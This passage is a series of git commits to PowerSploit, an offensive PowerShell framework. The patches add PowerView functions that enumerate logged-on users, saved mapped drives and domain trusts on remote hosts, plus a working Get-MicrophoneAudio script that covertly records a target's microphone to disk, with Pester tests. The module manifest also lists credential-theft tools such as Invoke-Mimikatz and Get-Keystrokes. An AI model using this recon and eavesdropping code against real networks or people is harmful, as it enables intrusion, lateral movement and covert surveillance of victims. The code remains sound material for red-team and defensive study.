$Properties.dnsrecord - $Properites.dnsrecord = [System.Convert]::ToBase64String([byte]$Properites.dnsrecord) } if($Record) { @@ -2082,6 +2055,7 @@ filter Get-DNSRecord { $Properties } catch { + Write-Warning "ERROR: $_" $Properties } } From 26cef85d358a2ac2acc44c1a199ac35b0e1bc17d Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Tue, 3 May 2016 22:52:36 -0400 Subject: [PATCH 128/296] Added Get-RegistryMountedDrive --- Recon/PowerView.ps1 | 126 +++++++++++++++++++++++++++++++++++++++++--- 1 file changed, 120 insertions(+), 6 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 689a28fd..0cc4739d 100644 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -1938,7 +1938,7 @@ filter Get-DNSZone { ) # $DNSSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential -ADSprefix "CN=MicrosoftDNS,DC=DomainDnsZones" - $DNSSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential -ADSprefix "DC=DomainDnsZones" + $DNSSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential $DNSSearcher.filter="(objectClass=dnsZone)" if($DNSSearcher) { @@ -8594,6 +8594,117 @@ filter Get-CachedRDPConnection { } +filter Get-RegistryMountedDrive { +<# + .SYNOPSIS + + Uses remote registry functionality to query all entries for the + the saved network mounted drive on a machine, separated by + user and target server. + + Note: This function requires administrative rights on the + machine you're enumerating. + + .PARAMETER ComputerName + + The hostname to query for RDP client information. + Defaults to localhost. + + .PARAMETER Credential + + A [Management.Automation.PSCredential] object for the remote connection. + + .EXAMPLE + + PS C:\> Get-RegistryMountedDrive + + Returns the saved network mounted drives for the local machine. + + .EXAMPLE + + PS C:\> Get-RegistryMountedDrive -ComputerName WINDOWS2.testlab.local + + Returns the saved network mounted drives for the WINDOWS2.testlab.local machine + + .EXAMPLE + + PS C:\> Get-RegistryMountedDrive -ComputerName WINDOWS2.testlab.local -Credential $Cred + + Returns the saved network mounted drives for the WINDOWS2.testlab.local machine using alternate credentials. + + .EXAMPLE + + PS C:\> Get-NetComputer | Get-RegistryMountedDrive + + Get the saved network mounted drives for all machines in the domain. +#> + + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [Alias('HostName')] + [Object[]] + [ValidateNotNullOrEmpty()] + $ComputerName = 'localhost', + + [Management.Automation.PSCredential] + $Credential + ) + + # extract the computer name from whatever object was passed on the pipeline + $Computer = $ComputerName | Get-NameField + + # HKEY_USERS + $HKU = 2147483651 + + try { + if($Credential) { + $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -Credential $Credential -ErrorAction SilentlyContinue + } + else { + $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -ErrorAction SilentlyContinue + } + + # extract out the SIDs of domain users in this hive + $UserSIDs = ($Reg.EnumKey($HKU, "")).sNames | ? { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' } + + foreach ($UserSID in $UserSIDs) { + + try { + $UserName = Convert-SidToName $UserSID + + $DriveLetters = ($Reg.EnumKey($HKU, "$UserSID\Network")).sNames + + ForEach($DriveLetter in $DriveLetters) { + $ProviderName = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'ProviderName').sValue + $RemotePath = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'RemotePath').sValue + $DriveUserName = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'UserName').sValue + if(-not $UserName) { $UserName = '' } + + if($RemotePath -and ($RemotePath -ne '')) { + $MountedDrive = New-Object PSObject + $MountedDrive | Add-Member Noteproperty 'ComputerName' $Computer + $MountedDrive | Add-Member Noteproperty 'UserName' $UserName + $MountedDrive | Add-Member Noteproperty 'UserSID' $UserSID + $MountedDrive | Add-Member Noteproperty 'DriveLetter' $DriveLetter + $MountedDrive | Add-Member Noteproperty 'ProviderName' $ProviderName + $MountedDrive | Add-Member Noteproperty 'RemotePath' $RemotePath + $MountedDrive | Add-Member Noteproperty 'DriveUserName' $DriveUserName + $MountedDrive + } + } + } + catch { + Write-Debug "Error: $_" + } + } + } + catch { + Write-Warning "Error accessing $Computer, likely insufficient permissions or firewall rules on host: $_" + } +} + + filter Get-NetProcess { <# .SYNOPSIS @@ -10205,7 +10316,7 @@ function Invoke-EventHunter { [String] $TargetServer, - [String] + [String[]] $UserName, [String] @@ -10313,8 +10424,11 @@ function Invoke-EventHunter { } # if we get a specific username, only use that elseif($UserName) { - Write-Verbose "[*] Using target user '$UserName'..." - $TargetUsers = @( $UserName.ToLower() ) + # Write-Verbose "[*] Using target user '$UserName'..." + $TargetUsers = $UserName | ForEach-Object {$_.ToLower()} + if($TargetUsers -isnot [system.array]) { + $TargetUsers = @($TargetUsers) + } } # read in a target user list if we have one elseif($UserFile) { @@ -10353,13 +10467,13 @@ function Invoke-EventHunter { if($Up) { # try to enumerate if($Credential) { - Get-UserEvent -ComputerName $ComputerName -EventType 'all' -DateStart ([DateTime]::Today.AddDays(-$SearchDays)) | Where-Object { + Get-UserEvent -ComputerName $ComputerName -Credential $Credential -EventType 'all' -DateStart ([DateTime]::Today.AddDays(-$SearchDays)) | Where-Object { # filter for the target user set $TargetUsers -contains $_.UserName } } else { - Get-UserEvent -ComputerName $ComputerName -Credential $Credential -EventType 'all' -DateStart ([DateTime]::Today.AddDays(-$SearchDays)) | Where-Object { + Get-UserEvent -ComputerName $ComputerName -EventType 'all' -DateStart ([DateTime]::Today.AddDays(-$SearchDays)) | Where-Object { # filter for the target user set $TargetUsers -contains $_.UserName } From 0cedaf61421c747d9de2e033430474107040d3c8 Mon Sep 17 00:00:00 2001 From: Matt Kelly Date: Thu, 5 May 2016 19:12:33 -0500 Subject: [PATCH 129/296] Adds PSLoggedOn like functionality Adding in Get-LoggedOnLocal which uses HKU registry checks to see who is logged locally to a remote box and only requires user level access rights. The benefit over NetWkstaUserEnum is less user privileges required (admin for NetWkstaUserEnum) and is the same process PSLoggedOn uses. Invoke-PSLoggedOn launches both Get-LoggedOnLocal and Get-NetSessions and outputs the same format as PSLoggedOn.exe from Sysinternals. I did not change Invoke-UserHunter non-stealth to this option yet, but it is beneficial in that if you use both HKU and NetSessionEnum you only require basic user level rights not admin remote. --- Recon/PowerView.ps1 | 143 ++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 143 insertions(+) mode change 100644 => 100755 Recon/PowerView.ps1 diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 old mode 100644 new mode 100755 index 0cc4739d..cc588c36 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -8087,6 +8087,149 @@ filter Get-NetSession { } +function Get-LoggedOnLocal { +<# + .SYNOPSIS + + This function will query the HKU registry values to retrieve the local + logged on users SID and then attempt and reverse it. + Adapted technique from Sysinternal's PSLoggedOn script. Benefit over + using the NetWkstaUserEnum API (Get-NetLoggedon) of less user privileges + required (NetWkstaUserEnum requires remote admin access). + + + Note: This function requires only domain user rights on the + machine you're enumerating. + + Function: Get-LoggedOnLocal + Author: Matt Kelly, @BreakersAll; + Required Dependencies: @harmj0y's Powerview. + + .PARAMETER ComputerName + + The ComputerName to query for active sessions. + + .EXAMPLE + + PS C:\> Get-LoggedOnLocal + + Returns active sessions on the local host. + + .EXAMPLE + + PS C:\> Get-LoggedOnLocal -ComputerName sqlserver + + Returns active sessions on the 'sqlserver' host. + +#> + + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [Alias('HostName')] + [String] + $ComputerName = 'localhost' + ) + + begin { + if ($PSBoundParameters['Debug']) { + $DebugPreference = 'Continue' + } + } + + process { + + # process multiple host object types from the pipeline + $ComputerName = Get-NameField -Object $ComputerName + # retrieve HKU remote registry values + $Reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('Users', "$ComputerName") + + # sort out bogus sid's like _class + $UserSID = $Reg.GetSubKeyNames() | ? { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' } + + # if successful, convert sid and print output + if ($UserSID) { + $UserName = Convert-SidToName $UserSID + + $LocalLoggedOnUser = New-Object PSObject + $LocalLoggedOnUser | Add-Member Noteproperty 'ComputerName' $ComputerName + $LocalLoggedOnUser | Add-Member Noteproperty 'UserName' $UserName + $LocalLoggedOnUser | Add-Member Noteproperty 'UserSID' $UserSID + $LocalLoggedOnUser + } + else { + Write-Debug "Could not retrieve values for $ComputerName" + } + + Write-Debug "UserSIDs retrieved result: $Reg.GetSubKeyNames()" + } +} + + +function Invoke-PSLoggedOn { +<# + .SYNOPSIS + + This function replicates PSLoggedOn functionality, and leverages + Get-NetSession (netsessionenum) and remote registry values. + Same actions as PSLoggedOn except in PowerShell. + + Note: This function requires only domain user rights on the + machine you're enumerating. + + Function: Invoke-PSLoggedOn + Author: Matt Kelly, @BreakersAll; + Required Dependencies: PowerView. PSv2 + + .PARAMETER ComputerName + + The ComputerName to query for active sessions. + + .EXAMPLE + + PS C:\> Invoke-PSLoggedOn + + Returns active sessions on the local host. + + .EXAMPLE + + PS C:\> Invoke-PSLoggedOn -ComputerName sqlserver + + Returns active sessions on the 'sqlserver' host. + +#> + + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [Alias('HostName')] + [String] + $ComputerName = 'localhost' + ) + + begin { + if ($PSBoundParameters['Debug']) { + $DebugPreference = 'Continue' + } + } + + process { + + # process multiple host object types from the pipeline + $ComputerName = Get-NameField -Object $ComputerName + + $LoggedOnLocal = Get-LoggedOnLocal $ComputerName + $NetSessionUsers = Get-NetSession $ComputerName + + Write-Host "Users logged on locally to $ComputerName:" + $LoggedOnLocal + Write-Host "" + Write-Host "Users logged on via resource shares to $ComputerName:" + $NetSessionUsers + } +} + + filter Get-NetRDPSession { <# .SYNOPSIS From 6a39c26b069529bd18fd90d325c3f2a4002aa45b Mon Sep 17 00:00:00 2001 From: Meatballs Date: Mon, 9 May 2016 22:24:23 +0100 Subject: [PATCH 130/296] Retrieve Domain SIDs with -LDAP --- Recon/PowerView.ps1 | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 0cc4739d..2ba80219 100644 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -12309,6 +12309,7 @@ function Get-NetDomainTrust { if($LDAP -or $DomainController) { $TrustSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -PageSize $PageSize + $SourceSID = Get-DomainSID -Domain $Domain -DomainController $DomainController if($TrustSearcher) { @@ -12341,8 +12342,11 @@ function Get-NetDomainTrust { 3 { "Bidirectional" } } $ObjectGuid = New-Object Guid @(,$Props.objectguid[0]) + $TargetSID = (New-Object System.Security.Principal.SecurityIdentifier($Props.securityidentifier[0],0)).Value $DomainTrust | Add-Member Noteproperty 'SourceName' $Domain + $DomainTrust | Add-Member Noteproperty 'SourceSID' $SourceSID $DomainTrust | Add-Member Noteproperty 'TargetName' $Props.name[0] + $DomainTrust | Add-Member Noteproperty 'TargetSID' $TargetSID $DomainTrust | Add-Member Noteproperty 'ObjectGuid' "{$ObjectGuid}" $DomainTrust | Add-Member Noteproperty 'TrustType' "$TrustAttrib" $DomainTrust | Add-Member Noteproperty 'TrustDirection' "$Direction" @@ -12854,7 +12858,9 @@ function Invoke-MapDomainTrust { # build the nicely-parsable custom output object $DomainTrust = New-Object PSObject $DomainTrust | Add-Member Noteproperty 'SourceDomain' "$SourceDomain" + $DomainTrust | Add-Member Noteproperty 'SourceSID' $Trust.SourceSID $DomainTrust | Add-Member Noteproperty 'TargetDomain' "$TargetDomain" + $DomainTrust | Add-Member Noteproperty 'TargetSID' $Trust.TargetSID $DomainTrust | Add-Member Noteproperty 'TrustType' "$TrustType" $DomainTrust | Add-Member Noteproperty 'TrustDirection' "$TrustDirection" $DomainTrust From 6ada127538b7a36db029c6dc8a5cd9d38ae7a968 Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Mon, 9 May 2016 23:22:51 -0400 Subject: [PATCH 131/296] Began adding custom PSObject TypeNames to various PowerView output objects. --- Recon/PowerView.ps1 | 34 +++++++++++++++++++++++++++------- 1 file changed, 27 insertions(+), 7 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 0cc4739d..b62f245f 100644 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -2512,7 +2512,9 @@ function Get-NetUser { $Results = $UserSearcher.FindAll() $Results | Where-Object {$_} | ForEach-Object { # convert/process the LDAP fields for each result - Convert-LDAPProperty -Properties $_.Properties + $User = Convert-LDAPProperty -Properties $_.Properties + $User.PSObject.TypeNames.Add('PowerView.User') + $User } $Results.dispose() $UserSearcher.dispose() @@ -3937,7 +3939,9 @@ function Get-NetComputer { # return full data objects if ($FullData) { # convert/process the LDAP fields for each result - Convert-LDAPProperty -Properties $_.Properties + $Computer = Convert-LDAPProperty -Properties $_.Properties + $Computer.PSObject.TypeNames.Add('PowerView.Computer') + $Computer } else { # otherwise we're just returning the DNS host name @@ -4648,7 +4652,9 @@ function Get-NetOU { $Results | Where-Object {$_} | ForEach-Object { if ($FullData) { # convert/process the LDAP fields for each result - Convert-LDAPProperty -Properties $_.Properties + $OU = Convert-LDAPProperty -Properties $_.Properties + $OU.PSObject.TypeNames.Add('PowerView.OU') + $OU } else { # otherwise just returning the ADS paths of the OUs @@ -4764,7 +4770,9 @@ function Get-NetSite { $Results | Where-Object {$_} | ForEach-Object { if ($FullData) { # convert/process the LDAP fields for each result - Convert-LDAPProperty -Properties $_.Properties + $Site = Convert-LDAPProperty -Properties $_.Properties + $Site.PSObject.TypeNames.Add('PowerView.Site') + $Site } else { # otherwise just return the site name @@ -4890,7 +4898,7 @@ function Get-NetSubnet { $SubnetProperties['Site'] = 'Error' } - New-Object -TypeName PSObject -Property $SubnetProperties + New-Object -TypeName PSObject -Property $SubnetProperties } } } @@ -5086,7 +5094,9 @@ function Get-NetGroup { # ignore the built in users and default domain user group if(!($GroupSid -match '^S-1-5-32-545|-513$')) { if($FullData) { - Get-ADObject -SID $GroupSid -PageSize $PageSize -Domain $Domain -DomainController $DomainController -Credential $Credential + $Group = Get-ADObject -SID $GroupSid -PageSize $PageSize -Domain $Domain -DomainController $DomainController -Credential $Credential + $Group.PSObject.TypeNames.Add('PowerView.Group') + $Group } else { if($RawSids) { @@ -5112,7 +5122,9 @@ function Get-NetGroup { # if we're returning full data objects if ($FullData) { # convert/process the LDAP fields for each result - Convert-LDAPProperty -Properties $_.Properties + $Group = Convert-LDAPProperty -Properties $_.Properties + $Group.PSObject.TypeNames.Add('PowerView.Group') + $Group } else { # otherwise we're just returning the group name @@ -5414,6 +5426,7 @@ function Get-NetGroupMember { $GroupMember | Add-Member Noteproperty 'MemberSid' $MemberSid $GroupMember | Add-Member Noteproperty 'IsGroup' $IsGroup $GroupMember | Add-Member Noteproperty 'MemberDN' $MemberDN + $GroupMember.PSObject.TypeNames.Add('PowerView.GroupMember') $GroupMember # if we're doing manual recursion @@ -7546,6 +7559,8 @@ function Get-NetLocalGroup { $IsGroup = $($Info.lgrmi2_sidusage -eq 'SidTypeGroup') $LocalUser | Add-Member Noteproperty 'IsGroup' $IsGroup + # add in our custom object + $LocalUser.PSObject.TypeNames.Add('PowerView.LocalUser') $Offset = $NewIntPtr.ToInt64() $Offset += $Increment @@ -7601,6 +7616,7 @@ function Get-NetLocalGroup { $Group | Add-Member Noteproperty 'Group' ($_.name[0]) $Group | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier $_.objectsid[0],0).Value) $Group | Add-Member Noteproperty 'Description' ($_.Description[0]) + $Group.PSObject.TypeNames.Add('PowerView.LocalGroup') $Group } } @@ -7690,6 +7706,7 @@ function Get-NetLocalGroup { $Member | Add-Member Noteproperty 'PwdExpired' ( $LocalUser.PasswordExpired[0] -eq '1') $Member | Add-Member Noteproperty 'UserFlags' ( $LocalUser.UserFlags[0] ) } + $Member.PSObject.TypeNames.Add('PowerView.LocalUser') $Member # if the result is a group domain object and we're recursing, @@ -7740,6 +7757,7 @@ function Get-NetLocalGroup { $Member | Add-Member Noteproperty 'PwdLastSet' $_.pwdLastSet $Member | Add-Member Noteproperty 'PwdExpired' '' $Member | Add-Member Noteproperty 'UserFlags' $_.userAccountControl + $Member.PSObject.TypeNames.Add('PowerView.LocalUser') $Member } } @@ -9636,6 +9654,7 @@ function Invoke-UserHunter { else { $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Null } + $FoundUser.PSObject.TypeNames.Add('PowerView.UserSession') $FoundUser } } @@ -9681,6 +9700,7 @@ function Invoke-UserHunter { else { $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Null } + $FoundUser.PSObject.TypeNames.Add('PowerView.UserSession') $FoundUser } } From 9f7906280d4eca7717892d9ec0af3c3f5ddef015 Mon Sep 17 00:00:00 2001 From: Andy Robbins Date: Tue, 10 May 2016 00:01:38 -0400 Subject: [PATCH 132/296] Added name resolution to custom PSObject generated by Invoke-UserHunter. --- Recon/PowerView.ps1 | 20 ++++++++++++++++++++ 1 file changed, 20 insertions(+) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index b62f245f..6c0d8968 100644 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -9646,6 +9646,26 @@ function Invoke-UserHunter { $FoundUser | Add-Member Noteproperty 'IPAddress' $IPAddress $FoundUser | Add-Member Noteproperty 'SessionFrom' $CName + # Try to resolve the DNS hostname of $Cname + if ($Cname -match '[a-zA-Z]') { + Try { + $CNameDNSName = [System.Net.Dns]::GetHostByName($CName).Hostname + } + Catch { + $CNameDNSName = $Cname + } + $FoundUser | Add-Member NoteProperty 'SessionFromName' $CnameDNSName + } + else { + Try { + $CNameDNSName = [System.Net.Dns]::Resolve($Cname).HostName + } + Catch { + $CNameDNSName = $Cname + } + $FoundUser | Add-Member NoteProperty 'SessionFromName' $CnameDNSName + } + # see if we're checking to see if we have local admin access on this machine if ($CheckAccess) { $Admin = Invoke-CheckLocalAdminAccess -ComputerName $CName From 7b4becfe72d6ec5ae3dfec6aa375152a95fe4329 Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Tue, 10 May 2016 00:14:37 -0400 Subject: [PATCH 133/296] Added Invoke-UserHunter field to keep output objects in sync. --- Recon/PowerView.ps1 | 1 + 1 file changed, 1 insertion(+) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 6c0d8968..24691a51 100644 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -9711,6 +9711,7 @@ function Invoke-UserHunter { $FoundUser | Add-Member Noteproperty 'ComputerName' $ComputerName $FoundUser | Add-Member Noteproperty 'IPAddress' $IPAddress $FoundUser | Add-Member Noteproperty 'SessionFrom' $Null + $FoundUser | Add-Member Noteproperty 'SessionFromName' $Null # see if we're checking to see if we have local admin access on this machine if ($CheckAccess) { From debe4a565ebd51b740855e3e83b331a6d5fd7e33 Mon Sep 17 00:00:00 2001 From: sixdub Date: Thu, 12 May 2016 10:58:27 -0400 Subject: [PATCH 134/296] Added Get-MicrophoneAudio.ps1 and associated Pester tests --- Exfiltration/Exfiltration.psd1 | 3 +- Exfiltration/Get-MicrophoneAudio.ps1 | 187 +++++++++++++++++++++++++++ README.md | 4 + Tests/Exfiltration.tests.ps1 | 31 +++++ 4 files changed, 224 insertions(+), 1 deletion(-) create mode 100755 Exfiltration/Get-MicrophoneAudio.ps1 diff --git a/Exfiltration/Exfiltration.psd1 b/Exfiltration/Exfiltration.psd1 index da784937..7df0835a 100644 --- a/Exfiltration/Exfiltration.psd1 +++ b/Exfiltration/Exfiltration.psd1 @@ -31,6 +31,7 @@ FunctionsToExport = '*' FileList = 'Exfiltration.psm1', 'Exfiltration.psd1', 'Get-TimedScreenshot.ps1', 'Out-Minidump.ps1', 'Get-Keystrokes.ps1', 'Get-GPPPassword.ps1', 'Usage.md', 'Invoke-Mimikatz.ps1', 'Invoke-NinjaCopy.ps1', 'Invoke-TokenManipulation.ps1', 'Invoke-CredentialInjection.ps1', - 'VolumeShadowCopyTools.ps1', 'Get-VaultCredential.ps1', 'Get-VaultCredential.ps1xml' + 'VolumeShadowCopyTools.ps1', 'Get-VaultCredential.ps1', 'Get-VaultCredential.ps1xml', + 'Get-MicrophoneAudio.ps1' } diff --git a/Exfiltration/Get-MicrophoneAudio.ps1 b/Exfiltration/Get-MicrophoneAudio.ps1 new file mode 100755 index 00000000..41a16bab --- /dev/null +++ b/Exfiltration/Get-MicrophoneAudio.ps1 @@ -0,0 +1,187 @@ +function Get-MicrophoneAudio { +<# +.SYNOPSIS +Records audio from the microphone and saves to a file on disk +Author: Justin Warner (@sixdub) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +All credit for PowerSploit functions belongs to the original author and project contributors. Thanks for the awesomeness! See here for more info: +http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html +https://github.com/PowerShellMafia/PowerSploit + +Thanks to Ed Wilson (Scripting Guy) for the one liner to generate random chars. https://blogs.technet.microsoft.com/heyscriptingguy/2015/11/05/generate-random-letters-with-powershell/ + +.DESCRIPTION +Get-MicrophoneAudio utilizes the Windows API from winmm.dll to record audio from the microphone and saves the wave file to disk. + +.OUTPUTS +Outputs the FileInfo object pointing to the recording which has been saved to disk. + +.PARAMETER Path +The location to save the audio + +.PARAMETER Length +The length of the audio to record in seconds. Default: 30 + +.PARAMETER Alias +The alias to use for the WinMM recording. Default: Random 10 Chars + +.EXAMPLE +Get-MicrophoneAudio -Path c:\windows\temp\secret.wav -Length 10 -Alias "SECRET" +Description +----------- +Records 10 seconds of audio to the path C:\windows\temp\secret.wav using WinMM alias "secret" +#> + [OutputType([System.IO.FileInfo])] + Param + ( + [Parameter( Position = 0, Mandatory = $True)] + [ValidateScript({Split-Path $_ | Test-Path})] + [String] $Path, + [Parameter( Position = 1, Mandatory = $False)] + [Int] $Length = 30, + [Parameter( Position = 2, Mandatory = $False)] + [String] $Alias = $(-join ((65..90) + (97..122) | Get-Random -Count 10 | % {[char]$_})) + + ) + + #Get-DelegateType from PowerSploit + function Local:Get-DelegateType + { + Param + ( + [OutputType([Type])] + + [Parameter( Position = 0)] + [Type[]] + $Parameters = (New-Object Type[](0)), + + [Parameter( Position = 1 )] + [Type] + $ReturnType = [Void] + ) + + $Domain = [AppDomain]::CurrentDomain + $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) + $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) + $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) + $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') + $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) + $MethodBuilder.SetImplementationFlags('Runtime, Managed') + + Write-Output $TypeBuilder.CreateType() + } + + #Get-ProcAddress from PowerSploit + function local:Get-ProcAddress + { + Param + ( + [OutputType([IntPtr])] + + [Parameter( Position = 0, Mandatory = $True )] + [String] + $Module, + + [Parameter( Position = 1, Mandatory = $True )] + [String] + $Procedure + ) + + # Get a reference to System.dll in the GAC + $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | + Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } + $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') + # Get a reference to the GetModuleHandle and GetProcAddress methods + $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') + $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') + # Get a handle to the module specified + $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) + $tmpPtr = New-Object IntPtr + $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) + + # Return the address of the function + Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) + } + + #Initialize and call LoadLibrary on our required DLL + $LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA + $LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr]) + $LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate) + $HND = $null + $HND = $LoadLibrary.Invoke('winmm.dll') + if ($HND -eq $null) + { + Throw 'Failed to aquire handle to winmm.dll' + } + + #Initialize the function call to count devices + $waveInGetNumDevsAddr = $null + $waveInGetNumDevsAddr = Get-ProcAddress winmm.dll waveInGetNumDevs + $waveInGetNumDevsDelegate = Get-DelegateType @() ([Uint32]) + if ($waveInGetNumDevsAddr -eq $null) + { + Throw 'Failed to aquire address to WaveInGetNumDevs' + } + $waveInGetNumDevs = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($waveInGetNumDevsAddr, $waveInGetNumDevsDelegate) + + #Initilize the function call to record audio + $mciSendStringAddr = $null + $mciSendStringAddr = Get-ProcAddress winmm.dll mciSendStringA + $mciSendStringDelegate = Get-DelegateType @([String],[String],[UInt32],[IntPtr]) ([Uint32]) + if ($mciSendStringAddr -eq $null) + { + Throw 'Failed to aquire address to mciSendStringA' + } + $mciSendString = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($mciSendStringAddr, $mciSendStringDelegate) + + #Initialize the ability to resolve MCI Errors + $mciGetErrorStringAddr = $null + $mciGetErrorStringAddr = Get-ProcAddress winmm.dll mciGetErrorStringA + $mciGetErrorStringDelegate = Get-DelegateType @([UInt32],[Text.StringBuilder],[UInt32]) ([bool]) + if ($mciGetErrorStringAddr -eq $null) + { + Throw 'Failed to aquire address to mciGetErrorString' + } + $mciGetErrorString = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($mciGetErrorStringAddr,$mciGetErrorStringDelegate) + + #Get device count + $DeviceCount = $waveInGetNumDevs.Invoke() + + if ($DeviceCount -gt 0) + { + + #Define buffer for MCI errors. https://msdn.microsoft.com/en-us/library/windows/desktop/dd757153(v=vs.85).aspx + $errmsg = New-Object Text.StringBuilder 150 + + #Open an alias + $rtnVal = $mciSendString.Invoke("open new Type waveaudio Alias $alias",'',0,0) + if ($rtnVal -ne 0) {$mciGetErrorString.Invoke($rtnVal,$errmsg,150); $msg=$errmsg.ToString();Throw "MCI Error ($rtnVal): $msg"} + + #Call recording function + $rtnVal = $mciSendString.Invoke("record $alias", '', 0, 0) + if ($rtnVal -ne 0) {$mciGetErrorString.Invoke($rtnVal,$errmsg,150); $msg=$errmsg.ToString();Throw "MCI Error ($rtnVal): $msg"} + + Start-Sleep -s $Length + + #save recorded audio to disk + $rtnVal = $mciSendString.Invoke("save $alias `"$path`"", '', 0, 0) + if ($rtnVal -ne 0) {$mciGetErrorString.Invoke($rtnVal,$errmsg,150); $msg=$errmsg.ToString();Throw "MCI Error ($rtnVal): $msg"} + + #terminate alias + $rtnVal = $mciSendString.Invoke("close $alias", '', 0, 0); + if ($rtnVal -ne 0) {$mciGetErrorString.Invoke($rtnVal,$errmsg,150); $msg=$errmsg.ToString();Throw "MCI Error ($rtnVal): $msg"} + + $OutFile = Get-ChildItem -path $path + Write-Output $OutFile + + } + else + { + Throw 'Failed to enumerate any recording devices' + } +} diff --git a/README.md b/README.md index b818576c..dfb1b3a2 100644 --- a/README.md +++ b/README.md @@ -128,6 +128,10 @@ Displays Windows vault credential objects including cleartext web credentials. Generates a full-memory minidump of a process. +#### 'Get-MicrophoneAudio' + +Records audio from system microphone and saves to disk + ## Mayhem **Cause general mayhem with PowerShell.** diff --git a/Tests/Exfiltration.tests.ps1 b/Tests/Exfiltration.tests.ps1 index e4f60d5a..ed98f45c 100644 --- a/Tests/Exfiltration.tests.ps1 +++ b/Tests/Exfiltration.tests.ps1 @@ -52,3 +52,34 @@ Describe 'Get-Keystrokes' { Remove-Item -Force "$($env:TEMP)\key.log" } + +Describe "Get-MicrophoneAudio" { + + $RecordPath = "$env:TEMP\test_record.wav" + $RecordLen = 2 + Context 'Successful Recording' { + BeforeEach { + #Ensure the recording as been removed prior to testing + Remove-Item -Path $RecordPath -ErrorAction SilentlyContinue + } + + AfterEach { + #Remove the recording after testing + Remove-Item -Path $RecordPath -ErrorAction SilentlyContinue + } + + It 'should record audio from the microphone and save it to a specified path' { + $result = Get-MicrophoneAudio -Path $RecordPath -Length $RecordLen + $result | Should Not BeNullOrEmpty + $result.Length | Should BeGreaterThan 0 + } + + } + + Context 'Invalid Arguments' { + It 'should not allow invalid paths to be used' { + { Get-MicrophoneAudio -Path "c:\FAKEPATH\yay.wav" -Length RecordLen} | Should Throw + } + } + +} From 3e936765f5674823a68aa96f7fc100f4fe9c450e Mon Sep 17 00:00:00 2001 From: Meatballs Date: Thu, 12 May 2016 21:03:20 +0100 Subject: [PATCH 135/296] Fix groupsxml parsing --- Recon/PowerView.ps1 | 42 ++++++++++++++++++++++++++++++++---------- 1 file changed, 32 insertions(+), 10 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 